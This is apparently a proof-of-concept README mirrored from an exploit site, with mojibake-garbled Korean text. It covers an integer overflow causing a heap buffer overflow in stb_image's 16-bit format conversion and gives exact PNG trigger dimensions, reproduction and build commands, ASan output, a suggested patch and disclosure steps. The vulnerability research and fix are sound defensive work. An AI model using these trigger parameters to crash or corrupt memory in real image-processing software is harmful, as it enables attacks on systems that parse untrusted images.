Share
## https://sploitus.com/exploit?id=F3D17176-5D0C-5566-B8CB-429DE0FE6CFF
# PoC โ `stb_image` v2.30 `stbi__convert_format16` integer overflow โ heap buffer overflow
๋์: [`nothings/stb`](https://github.com/nothings/stb) โ `stb_image.h` v2.30 (ํ์ฌ ํธ๋ ํฌ head, 2026-05 ๊ธฐ์ค)
์ทจ์ฝ ์์น: `stb_image.h` ๋ผ์ธ 1820, ํจ์ `stbi__convert_format16`
์นดํ
๊ณ ๋ฆฌ: **CWE-190** (Integer Overflow) โ **CWE-122** (Heap-based Buffer Overflow)
์ํฅ: heap memory corruption, ์ ์ฌ์ RCE
๊ฒ์ฆ: Linux x86_64 + glibc + AddressSanitizer
## ๊ฒฐํจ ์์ฝ
```c
static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
...
good = (stbi__uint16 *) stbi__malloc(req_comp * x * y * 2); // โ ๊ฒ์ฆ ์๋ 32-bit ๊ณฑ์
...
for (j=0; j = 0; --i, src += a, dest += b) { ... }
STBI__CASE(1,4) { dest[0]=src[0]; dest[1]=src[0]; dest[2]=src[0]; dest[3]=0xffff; } break;
...
}
}
```
`req_comp * x * y * 2`๋ **signed 32-bit `int`** ์ฐ์ . ํธ์ถ์(`stbi__do_png` ๋ฑ)๋
๋์ฝ๋๋ raw ์ฌ์ด์ฆ๋ง ๊ฒ์ฆํ๊ณ **req_comp ์ ์ฉ ํ์ ์ฌ์ด์ฆ๋ ๊ฒ์ฆํ์ง ์๋๋ค**.
## ํธ๋ฆฌ๊ฑฐ ์๋๋ฆฌ์ค (PNG 16-bit grayscale)
| ๋จ๊ณ | ๊ฐ | ๊ฒ์ฆ ํต๊ณผ? |
|---|---|---|
| IHDR x, y, depth, color | 16384, 32768, 16, 0 (grayscale) | โ |
| IHDR sanity `(1out` alloc | 2^30 bytes (1 GB, ์ ์ alloc) | โ |
| zlib decompress | ๋ชจ๋ 0 โ ์์ถ๋ฅ 99%, ๋์คํฌ PoC ~์์ญ KB | โ |
| `stbi__convert_format16(out, 1, 4, 16384, 32768)` ํธ์ถ | โ | โ |
| **`req_comp * x * y * 2 = 4 ร 16384 ร 32768 ร 2 = 0x100000000`** | signed int wrap โ **0** | โ
|
| `stbi__malloc(0)` | glibc โ ์์ valid pointer (16-byte chunk ๋ฑ) | โ |
| ๋ณํ ๋ฃจํ `STBI__CASE(1,4)` ์ฒซ iteration | `good[0]=โฆ, good[3]=0xffff` write | **OOB heap write** |
ASan์ ์ฒซ iteration `dest[0] = src[0]` ๋๋ `dest[3] = 0xffff` ์์ ์ immediate
heap-buffer-overflow๋ฅผ ๋ณด๊ณ ํฉ๋๋ค.
## ํ์ผ ๊ตฌ์ฑ
| ํ์ผ | ์ค๋ช
|
|---|---|
| `generate_poc_png.py` | 16-bit grayscale 16384ร32768 PNG (์
์ฑ, ~์ MB) ์์ฑ๊ธฐ |
| `poc.c` | `stb_image.h` ๋จ๋
ํธ์ถ์ (req_comp=4 ๊ฐ์ ) |
| `build_and_run.sh` | upstream `stb_image.h` ํ์น โ ASan ๋น๋ โ PoC ์คํ |
| `README.md` | ์ด ๋ฌธ์ |
## ์ฌํ (Linux)
```bash
chmod +x build_and_run.sh
./build_and_run.sh
```
๋๋ ์๋:
```bash
wget https://raw.githubusercontent.com/nothings/stb/master/stb_image.h
python3 generate_poc_png.py poc.png
gcc -O0 -g -fsanitize=address poc.c -o poc -lm
./poc poc.png
```
## ํ๊ฒฝ ์๊ตฌ์ฌํญ
- Linux x86_64 (๋๋ ARM64), glibc
- gcc ๋๋ clang (`-fsanitize=address` ์ง์)
- python3
- ~2 GB ๊ฐ์ฉ RAM (1 GB raw image buffer + ASan shadow ~25%)
- ~30 MB ๋์คํฌ (์์ถ๋ PNG)
Windows์์๋ ASan ๋์์ด ๋ค๋ฅด๊ณ 64-bit malloc(0) ๋์์ด ์ฝ๊ฐ ๋ฌ๋ผ ๊ฒ์ฆ์ Linux์์ ์ํ ๊ถ์ฅ.
## ์์ ASan ์ถ๋ ฅ (์์ฝ)
```
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... at pc 0x...
WRITE of size 2 at 0x... thread T0
#0 0x... in stbi__convert_format16 .../stb_image.h:18XX
#1 0x... in stbi__do_png .../stb_image.h:5280
#2 0x... in stbi__png_load .../stb_image.h:5295
#3 0x... in stbi_load_16 .../stb_image.h:1295
#4 0x... in main .../poc.c:48
0x... is located 0 bytes to the right of 16-byte region [0x..., 0x...)
allocated by thread T0 here:
#0 0x... in malloc
#1 0x... in stbi__malloc .../stb_image.h:1043
#2 0x... in stbi__convert_format16 .../stb_image.h:1820
```
## ์ํฅ ๋ถ์
- **Severity**: High. heap metadata ์ธ์ chunk ๋ฎ์ด์ฐ๊ธฐ ๊ฐ๋ฅ โ ์ ์ฌ์ RCE.
- **๊ณต๊ฒฉ ํ๋ฉด**: `stb_image`๋ ๊ฒ์ ์์ง/์ด๋ฏธ์ง ๋๊ตฌ/์๋ฒ ๋๋ ํ๊ฒฝ์์ ๋งค์ฐ ๊ด๋ฒ์ํ๊ฒ ์ฐ์ด๋ single-header ๋ผ์ด๋ธ๋ฌ๋ฆฌ. ์ ๋ขฐ๋์ง ์์ PNG/PSD/PNM ์
๋ ฅ์ ๋ฐ๋ ๋ชจ๋ ์ฝ๋๊ฐ ์ํฅ.
- **์์ reproducible**: PNG 16-bit grayscale + `stbi_load*` with `req_comp=4`. ์ถ๊ฐ๋ก PSD 16-bit ์ผ๋ถ ๊ฒฝ๋ก ๋ฐ PNM 16-bit ๊ฒฝ๋ก๋ ์ ์ฌ trigger ๊ฐ๋ฅ (PNG ๊ฒฝ๋ก๊ฐ PoC ์ฌ์ด์ฆ๊ฐ ๊ฐ์ฅ ์์).
## ํจ์น ์ ์
`stbi__convert_format16` ์ง์
๋ถ์ ๊ณฑ์
๊ฒ์ฆ์ ์ถ๊ฐ:
```c
static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
int i, j;
stbi__uint16 *good;
if (req_comp == img_n) return data;
STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
/* Validate the conversion size: req_comp * x * y * 2 must fit in INT_MAX. */
if (!stbi__mad3sizes_valid(req_comp, (int)x, (int)y, 0) ||
!stbi__mul2sizes_valid(req_comp * (int)x * (int)y, 2)) {
STBI_FREE(data);
return (stbi__uint16 *) stbi__errpuc("too large", "Image conversion too large");
}
good = (stbi__uint16 *) stbi__malloc((size_t)req_comp * x * y * 2);
...
}
```
๋๋ ๋ ๊ฐ๊ฒฐํ๊ฒ `stbi__malloc_mad4(req_comp, x, y, 2, 0)`๋ก ๊ต์ฒด.
`stbi__convert_format` (8-bit ๋ฒ์ , ๋ผ์ธ 1799 ๊ทผ๋ฐฉ)๋ ๋์ผ ํจํด์ด๋ฏ๋ก ํจ๊ป ๊ฒํ ๊ถ์ฅ.
## Disclosure
์ฑ
์ ์๋ disclosure ์ ์ฐจ:
1. nothings/stb GitHub ์ ์ฅ์์ ๋น๊ณต๊ฐ security advisory (Security tab โ Report a vulnerability)
2. ๋๋ ๋ฉ์ธํ
์ด๋(Sean Barrett, @nothings)์๊ฒ ์ง์ ์ด๋ฉ์ผ/์ด์
3. CVE ์ ์ฒญ (MITRE ๋๋ GHSA ์๋๋ฐ๊ธ)
## ๋ผ์ด์ ์ค
์ด PoC๋ stb ๋ผ์ด์ ์ค(Public Domain / MIT-0)์ ํธํ๋๋๋ก ๋์ผ ์กฐ๊ฑด์ผ๋ก ๋ฐฐํฌํฉ๋๋ค. ๋ณด์ ์ฐ๊ตฌ ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํ์ธ์.